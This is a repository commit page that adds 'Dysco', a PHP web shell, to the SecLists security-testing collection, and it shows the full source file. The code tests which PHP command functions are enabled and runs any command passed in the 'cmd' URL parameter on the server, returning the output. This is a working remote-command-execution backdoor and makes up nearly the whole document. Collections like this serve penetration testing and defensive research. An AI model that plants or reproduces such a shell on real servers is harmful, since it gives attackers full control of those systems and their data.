admin/SecLists
1
0
Fork 0
mirror of https://github.com/danielmiessler/SecLists.git synced 2025-05-07 19:26:27 +00:00
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #752 from aancw/master

Browse Source 
Add Dysco(Dynamic PHP Shell Command for RCE)

Source: http://blablabla.com/dysco.php?cmd=your_command_execution
This commit is contained in:
g0tmi1k 2022-08-02 06:49:14 +01:00 committed by GitHub
commit e9dd034c51
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 59 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

59
Web-Shells/PHP/Dysco.php Normal file
View File

@ -0,0 +1,59 @@
<?php
/*
* Dysco(Dynamic PHP Shell Command for RCE)
* Created by Petruknisme @2020
* Contact: me@petruknisme.com
*/
function Dysco($command)
{
$list_function_shell = array("system", "exec", "shell_exec", "passthru", "eval");
$f_enabled = array_filter($list_function_shell, 'function_exists');
echo "Enabled Function:\n<br/>";
foreach($f_enabled as $f)
{
echo $f." ";
}
if($f_enabled !== ""){
$f = $f_enabled[0];
echo "<br/>\nUsing ". $f. " as shell command\n<br/>";
if($f == "system" || $f == "passthru"){
// disable multiple output for system
ob_start();
$output = $f($command, $status);
ob_clean();
}
else if($f == "exec"){
$f($command, $output, $status);
$output = implode("n", $output);
}
else if($f == "shell_exec"){
$output = $f($command);
}
else{
$output = "Command execution not possible. All supported function is disabled.";
$status = 1;
}
}
return array('output' => $output , 'status' => $status);
}
// for HTTP GET use this.
if(isset($_GET['cmd'])){
$o = Dysco($_GET['cmd']);
echo $o['output'];
}
// for debugging in local, use this
//$o = shell_spawn('uname -a');
//echo $o['output'];
?>